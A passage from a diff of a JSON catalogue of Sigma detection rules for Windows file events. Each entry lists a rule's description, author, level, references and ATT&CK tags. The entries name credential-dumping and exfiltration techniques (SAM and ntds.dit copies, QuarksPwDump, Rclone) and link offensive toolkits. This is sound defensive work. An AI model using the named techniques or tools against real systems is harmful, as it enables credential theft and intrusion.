"file_event_win_outlook_newform.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_outlook_newform.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137.003" + ] + }, + "uuid": "c3edc6a5-d9d4-48d8-930e-aab518390917", + "value": "Outlook Form Installation" + }, + { + "description": "Detects processes creating temp files related to PCRE.NET package", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/10/29", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_pcre_net_temp_file.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/rbmaslen/status/1321859647091970051", + "https://twitter.com/tifkin_/status/1321916444557365248", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pcre_net_temp_file.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "6e90ae7a-7cd3-473f-a035-4ebb72d961da", + "value": "PCRE.NET Package Temp Files" + }, + { + "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/05/05", + "falsepositive": [ + "Very unlikely" + ], + "filename": "file_event_win_pingback_backdoor.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", + "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pingback_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.001" + ] + }, + "uuid": "2bd63d53-84d4-4210-80ff-bf0658f1bf78", + "value": "Pingback Backdoor" + }, + { + "description": "Detects the creation of known powershell scripts for exploitation", + "meta": { + "author": "Markus Neis, Nasreddine Bencherchali, Mustafa Kaan Demir", + "creation_date": "2018/04/07", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_powershell_exploit_scripts.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://raw.githubusercontent.com/Neo23x0/sigma/f35c50049fa896dff91ff545cb199319172701e8/rules/windows/powershell/powershell_malicious_commandlets.yml", + "https://github.com/PowerShellMafia/PowerSploit", + "https://github.com/NetSPI/PowerUpSQL", + "https://github.com/CsEnox/EventViewer-UACBypass", + "https://github.com/AlsidOfficial/WSUSpendu/", + "https://github.com/nettitude/Invoke-PowerThIEf", + "https://github.com/S3cur3Th1sSh1t/WinPwn", + "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", + "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", + "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_exploit_scripts.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "f331aa1f-8c53-4fc3-b083-cc159bc971cb", + "value": "Malicious PowerShell Commandlet Names" + }, + { + "description": "Attempts to detect PowerShell writing startup shortcuts.\nThis procedure was highlighted in Red Canary Intel Insights Oct. 2021, \"We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence.\nAccordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats.\nIn the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL\"\n", + "meta": { + "author": "Christopher Peacock '@securepeacock', SCYTHE", + "creation_date": "2021/10/24", + "falsepositive": [ + "Unknown", + "Depending on your environment accepted applications may leverage this at times. It is recommended to search for anomalies inidicative of malware." + ], + "filename": "file_event_win_powershell_startup_shortcuts.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/intelligence-insights-october-2021/", + "https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_startup_shortcuts.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "92fa78e7-4d39-45f1-91a3-8b23f3f1088d", + "value": "PowerShell Writing Startup Shortcuts" + }, + { + "description": "Detects a dump file written by QuarksPwDump password dumper", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/02/10", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_quarkspw_filedump.yml", + "level": "critical", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/QuarksPWDump.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_quarkspw_filedump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ] + }, + "uuid": "847def9e-924d-4e90-b7c4-5f581395a2b4", + "value": "QuarksPwDump Dump File" + }, + { + "description": "Detects Rclone config file being created", + "meta": { + "author": "Aaron Greetham (@beardofbinary) - NCC Group", + "creation_date": "2021/05/26", + "falsepositive": [ + "Legitimate Rclone usage (rare)" + ], + "filename": "file_event_win_rclone_exec_file.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_rclone_exec_file.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ] + }, + "uuid": "34986307-b7f4-49be-92f3-e7a4d01ac5db", + "value": "Rclone Config File Creation" + }, + { + "description": "Detects actions caused by the RedMimicry Winnti playbook", + "meta": { + "author": "Alexander Rausch", + "creation_date": "2020/06/24", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_redmimicry_winnti_filedrop.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://redmimicry.com", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_redmimicry_winnti_filedrop.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "130c9e58-28ac-4f83-8574-0a4cc913b97e", + "value": "RedMimicry Winnti Playbook Dropped File" + }, + { + "description": "Detects a phishing attack which expands a ZIP file containing a malicious shortcut. If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder. Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.", + "meta": { + "author": "Greg (rule)", + "creation_date": "2022/07/21", + "falsepositive": "No established falsepositives", + "filename": "file_event_win_ripzip_attack.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/jonasLyk/status/1549338335243534336?t=CrmPocBGLbDyE4p6zTX1cg&s=19", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ripzip_attack.yml" + ], + "tags": [ + "attack.t1547", + "attack.persistence" + ] + }, + "uuid": "a6976974-ea6f-4e97-818e-ea08625c52cb", + "value": "RipZip Attack on Startup Folder" + }, + { + "description": "Detects the creation of files that look like exports of the local SAM (Security Account Manager)", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/11", + "falsepositive": [ + "Rare cases of administrative activity" + ], + "filename": "file_event_win_sam_dump.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/search?q=CVE-2021-36934", + "https://github.com/cube0x0/CVE-2021-36934", + "https://www.google.com/search?q=%22reg.exe+save%22+sam", + "https://github.com/HuskyHacks/ShadowSteal", + "https://github.com/FireFart/hivenightmare", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sam_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ] + }, + "uuid": "4e87b8e2-2ee9-4b2a-a715-4727d297ece0", + "value": "SAM Dump File Creation" + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/02/13", + "falsepositive": [ + "Legitimate use" + ], + "filename": "file_event_win_screenconnect_artefact.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_screenconnect_artefact.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "fec96f39-988b-4586-b746-b93d59fd1922", + "value": "ScreenConnect Temporary Installation Artefact" + }, + { + "description": "This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice.", + "meta": { + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_script_creation_by_office_using_file_ext.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_script_creation_by_office_using_file_ext.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.execution" + ] + }, + "uuid": "c7a74c80-ba5a-486e-9974-ab9e682bc5e4", + "value": "Created Files by Office Applications" + }, + { + "description": "Detects a Windows executable that writes files to suspicious folders", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/11/20", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_shell_write_susp_directory.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_directory.yml" + ], + "tags": "No established tags" + }, + "uuid": "1277f594-a7d1-4f28-a2d3-73af5cbeab43", + "value": "Windows Shell File Write to Suspicious Folder" + }, + { + "description": "Detects windows executables that writes files with suspicious extensions", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/12", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_shell_write_susp_files_extensions.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_files_extensions.yml" + ], + "tags": "No established tags" + }, + "uuid": "b8fd0e93-ff58-4cbd-8f48-1c114e342e62", + "value": "Windows Binaries Write Suspicious Extensions" + }, + { + "description": "A General detection for files being created in the Windows startup directory. This could be an indicator of persistence.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/05/02", + "falsepositive": [ + "An FP could be caused by legitimate application writing shortcuts for example. This folder should always be inspected to make sure that all the files in there are legitimate" + ], + "filename": "file_event_win_startup_folder_file_write.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/12", + "https://threathunterplaybook.com/evals/apt29/detections/5.B.1_611FCA99-97D0-4873-9E51-1C1BA2DBB40D.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_startup_folder_file_write.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ] + }, + "uuid": "2aa0a6b4-a865-495b-ab51-c28249537b75", + "value": "Startup Folder File Write" + }, + { + "description": "Detects the usage of ADSI (LDAP) operations by tools. This may also detect tools like LDAPFragger.", + "meta": { + "author": "xknow @xknow_infosec, Tim Shelton", + "creation_date": "2019/03/24", + "falsepositive": [ + "Other legimate tools, which do ADSI (LDAP) operations, e.g. any remoting activity by MMC, Powershell, Windows etc." + ], + "filename": "file_event_win_susp_adsi_cache_usage.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", + "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", + "https://github.com/fox-it/LDAPFragger", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_adsi_cache_usage.yml" + ], + "tags": [ + "attack.t1001.003", + "attack.command_and_control" + ] + }, + "uuid": "75bf09fa-1dd7-4d18-9af9-dd9e492562eb", + "value": "Suspicious ADSI-Cache Usage By Unknown Tool" + }, + { + "description": "Detects suspicious .NET assembly executions. Could detect using Cobalt Strike's command execute-assembly.", + "meta": { + "author": "omkar72, oscd.community, Wojciech Lesicki", + "creation_date": "2020/10/12", + "falsepositive": [ + "Rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process - https://twitter.com/SBousseaden/status/1388064061087260675" + ], + "filename": "file_event_win_susp_clr_logs.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", + "https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/", + "https://github.com/olafhartong/sysmon-modular/blob/5e5f6d90819a7f35eec0aba08021d0d201bb9055/11_file_create/include_dotnet.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_clr_logs.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1059.001", + "attack.t1218" + ] + }, + "uuid": "e4b63079-6198-405c-abd7-3fe8b0ce3263", + "value": "Suspicious CLR Logs Creation" + }, + { + "description": "Once executed, colorcpl.exe will copy the arbitrary file to c:\\windows\\system32\\spool\\drivers\\color\\", + "meta": { + "author": "frack113", + "creation_date": "2022/01/21", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_susp_colorcpl.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/eral4m/status/1480468728324231172?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_colorcpl.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564" + ] + }, + "uuid": "e15b518d-b4ce-4410-a9cd-501f23ce4a18", + "value": "Suspicious Creation with Colorcpl" + }, + { + "description": "This rule detects suspicious files created by Microsoft Sync Center (mobsync)", + "meta": { + "author": "elhoim", + "creation_date": "2022/04/28", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_susp_creation_by_mobsync.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_creation_by_mobsync.yml" + ], + "tags": [ + "attack.t1055", + "attack.t1218", + "attack.execution", + "attack.defense_evasion" + ] + }, + "uuid": "409f8a98-4496-4aaa-818a-c931c0a8b832", + "value": "Created Files by Microsoft Sync Center" + }, + { + "description": "Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder", + "meta": { + "author": "elhoim", + "creation_date": "2022/04/28", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_susp_default_gpo_dir_write.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_default_gpo_dir_write.yml" + ], + "tags": [ + "attack.t1036.005", + "attack.defense_evasion" + ] + }, + "uuid": "5f87308a-0a5b-4623-ae15-d8fa1809bc60", + "value": "Suspicious Files in Default GPO Folder" + }, + { + "description": "Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/07/03", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "file_event_win_susp_desktopimgdownldr_file.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/", + "https://twitter.com/SBousseaden/status/1278977301745741825", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1105" + ] + }, + "uuid": "fc4f4817-0c53-4683-a4ee-b17a64bc1039", + "value": "Suspicious Desktopimgdownldr Target File" + }, + { + "description": "Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", + "meta": { + "author": "Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO)", + "creation_date": "2020/03/19", + "falsepositive": [ + "Operations performed through Windows SCCM or equivalent", + "Read only access list authority" + ], + "filename": "file_event_win_susp_desktop_ini.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_ini.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.009" + ] + }, + "uuid": "81315b50-6b60-4d8f-9928-3466e1022515", + "value": "Suspicious desktop.ini Action" + }, + { + "description": "Ransomware create txt file in the user Desktop", + "meta": { + "author": "frack113", + "creation_date": "2021/12/26", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_susp_desktop_txt.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1486/T1486.md#atomic-test-5---purelocker-ransom-note", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_txt.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ] + }, + "uuid": "caf02a0a-1e1c-4552-9b48-5e070bd88d11", + "value": "Suspicious Creation TXT File in User Desktop" + }, + { + "description": "Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location)", + "meta": { + "author": "frack113", + "creation_date": "2022/06/08", + "falsepositive": [ + "Legitimate microsoft diagcab" + ], + "filename": "file_event_win_susp_diagcab.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://threadreaderapp.com/thread/1533879688141086720.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_diagcab.yml" + ], + "tags": [ + "attack.resource_development" + ] + }, + "uuid": "3d0ed417-3d94-4963-a562-4a92c940656a", + "value": "Creation of a Diagcab" + }, + { + "description": "Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that windows hide default extensions by default.", + "meta": { + "author": "Nasreddine Bencherchali, frack113", + "creation_date": "2022/06/19", + "falsepositive": [ + "Unlikely" + ], + "filename": "file_event_win_susp_double_extension.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", + "https://twitter.com/malwrhunterteam/status/1235135745611960321", + "https://twitter.com/luc4m/status/1073181154126254080", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_double_extension.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.007" + ] + }, + "uuid": "b4926b47-a9d7-434c-b3a0-adc3fa0bd13e", + "value": "Suspicious Double Extension Files" + }, + { + "description": "Detects the creation of an executable by another executable", + "meta": { + "author": "frack113", + "creation_date": "2022/03/09", + "falsepositive": [ + "Software installers", + "Update utilities" + ], + "filename": "file_event_win_susp_dropper.yml", + "level": "low", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "Malware Sandbox", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_dropper.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ] + }, + "uuid": "297afac9-5d02-4138-8c58-b977bac60556", + "value": "Creation of an Executable by an Executable" + }, + { + "description": "Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/25", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_susp_exchange_aspx_write.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_exchange_aspx_write.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "7280c9f3-a5af-45d0-916a-bc01cb4151c9", + "value": "Suspicious MSExchangeMailboxReplication ASPX Write" + }, + { + "description": "Detect creation of suspicious executable file name. Some strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths.", + "meta": { + "author": "frack113", + "creation_date": "2022/09/05", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_susp_executable_creation.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae", + "https://app.any.run/tasks/76c69e2d-01e8-49d9-9aea-fb7cc0c4d3ad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_executable_creation.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564" + ] + }, + "uuid": "74babdd6-a758-4549-9632-26535279e654", + "value": "Suspicious Executable File Creation" + }, + { + "description": "Get-Variable is a valid PowerShell cmdlet\nWindowsApps is by default in the path where PowerShell is executed.\nSo when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.\n", + "meta": { + "author": "frack113", + "creation_date": "2022/04/23", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_susp_get_variable.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", + "https://www.joesandbox.com/analysis/465533/0/html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_get_variable.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546", + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "0c3fac91-5627-46e8-a6a8-a0d7b9b8ae1b", + "value": "Suspicious Get-Variable.exe Creation" + }, + { + "description": "Detects dropped files with LNK double extension, which is often used by malware as a method to abuse the fact that windows hide default extensions by default.", + "meta": { + "author": "Nasreddine Bencherchali, frack113", + "creation_date": "2022/11/07", + "falsepositive": [ + "Users creating a shortcut on e.g. desktop" + ], + "filename": "file_event_win_susp_lnk_double_extension.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", + "https://twitter.com/malwrhunterteam/status/1235135745611960321", + "https://twitter.com/luc4m/status/1073181154126254080", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_lnk_double_extension.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.007" + ] + }, + "uuid": "3215aa19-f060-4332-86d5-5602511f3ca8", + "value": "Suspicious LNK Double Extension Files" + }, + { + "description": "Detects suspicious processes that write (copy) a Active Directory database (ntds.dit) file", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/11", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_susp_ntds_dit.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://stealthbits.com/blog/extracting-password-hashes-from-the-ntds-dit-file/", + "https://adsecurity.org/?p=2398", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_ntds_dit.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.003" + ] + }, + "uuid": "11b1ed55-154d-4e82-8ad7-83739298f720", + "value": "Suspicious Process Writes Ntds.dit" + }, + { + "description": "A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/05/02", + "falsepositive": [ + "System administrators managing certififcates." + ], + "filename": "file_event_win_susp_pfx_file_creation.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/14", + "https://threathunterplaybook.com/evals/apt29/detections/6.B.1_6392C9F1-D975-4F75-8A70-433DEDD7F622.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_pfx_file_creation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.004" + ] + }, + "uuid": "dca1b3e8-e043-4ec8-85d7-867f334b5724", + "value": "Suspicious PFX File Creation" + }, + { + "description": "Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", + "meta": { + "author": "HieuTT35, Nasreddine Bencherchali", + "creation_date": "2019/10/24", + "falsepositive": [ + "System administrator create Powershell profile manually" + ], + "filename": "file_event_win_susp_powershell_profile.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "https://persistence-info.github.io/Data/powershellprofile.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_powershell_profile.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.013" + ] + }, + "uuid": "b5b78988-486d-4a80-b991-930eff3ff8bf", + "value": "PowerShell Profile Modification" + }, + { + "description": "Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder.\nThis driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU.\n", + "meta": { + "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", + "creation_date": "2019/04/08", + "falsepositive": [ + "Other legimate tools using this driver and filename (like Sysinternals). Note - Clever attackers may easily bypass this detection by just renaming the driver filename. Therefore just Medium-level and don't rely on it." + ], + "filename": "file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml" + ], + "tags": [ + "attack.t1562.001", + "attack.defense_evasion" + ] + }, + "uuid": "3da70954-0f2c-4103-adff-b7440368f50e", + "value": "Suspicious PROCEXP152.sys File Created In TMP" + }, + { + "description": "Detects the creation of suspcious binary files inside the \"\\windows\\system32\\spool\\drivers\\color\\\" as seen in the blog referenced below", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/28", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_susp_spool_drivers_color_drop.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/", + 